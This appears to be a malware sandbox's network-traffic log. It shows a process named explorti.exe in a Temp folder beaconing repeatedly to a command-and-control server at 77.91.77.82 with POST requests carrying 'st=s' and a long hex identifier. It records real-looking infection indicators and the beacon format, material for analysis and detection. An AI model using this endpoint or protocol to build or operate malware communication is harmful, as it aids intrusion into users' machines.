Jul 2, 2024 12:21:55.910290003 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:21:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.7	55263	77.91.77.82	80	8188	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 12:21:56.024934053 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 12:21:56.728543997 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:21:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 2, 2024 12:21:56.729300022 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 2, 2024 12:21:56.953438997 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:21:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.7	55264	77.91.77.82	80	8188	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 12:21:57.073273897 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 12:21:57.814618111 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:21:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 2, 2024 12:21:57.815346003 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 2, 2024 12:21:58.035787106 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:21:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.7	55265	77.91.77.82	80	8188	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 12:21:58.150774002 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 12:21:58.865814924 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:21:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 2, 2024 12:21:58.867086887 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 2, 2024 12:21:59.088421106 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:21:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.7	55266	77.91.77.82	80	8188	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 12:21:59.197011948 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 12:21:59.911086082 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:21:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 2, 2024 12:21:59.912064075 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 2, 2024 12:22:00.136271000 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:22:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.7	55267	77.91.77.82	80	8188	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 12:22:00.245685101 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 12:22:00.941287041 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:22:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 2, 2024 12:22:00.942270041 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 2, 2024 12:22:01.161402941 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:22:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.7	55268	77.91.77.82	80	8188	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 12:22:01.274862051 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 12:22:02.000719070 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:22:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 2, 2024 12:22:02.001740932 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 2, 2024 12:22:02.228586912 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:22:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.7	55269	77.91.77.82	80	8188	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 12:22:02.337821007 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 12:22:03.045504093 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:22:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 2, 2024 12:22:03.046344995 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 2, 2024 12:22:03.277867079 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:22:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.7	55270	77.91.77.82	80	8188	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 12:22:03.399993896 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 12:22:04.104794979 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:22:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 2, 2024 12:22:04.105619907 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 2, 2024 12:22:04.327207088 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:22:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.7	55271	77.91.77.82	80	8188	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 12:22:04.447086096 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 12:22:05.162620068 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:22:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 2, 2024 12:22:05.163223982 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 2, 2024 12:22:05.389041901 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:22:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.7	55272	77.91.77.82	80	8188	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 12:22:05.509182930 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 12:22:06.233211040 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:22:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 2, 2024 12:22:06.233994007 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 2, 2024 12:22:06.556945086 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:22:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.7	55273	77.91.77.82	80	8188	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 12:22:06.665586948 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 12:22:07.380794048 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:22:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 2, 2024 12:22:07.383337975 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 2, 2024 12:22:07.622323990 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:22:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.7	55274	77.91.77.82	80	8188	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 12:22:07.744148970 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 12:22:08.431755066 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:22:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 2, 2024 12:22:08.432773113 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 2, 2024 12:22:08.647803068 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:22:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.7	55275	77.91.77.82	80	8188	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 12:22:08.915255070 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 12:22:09.618737936 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:22:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
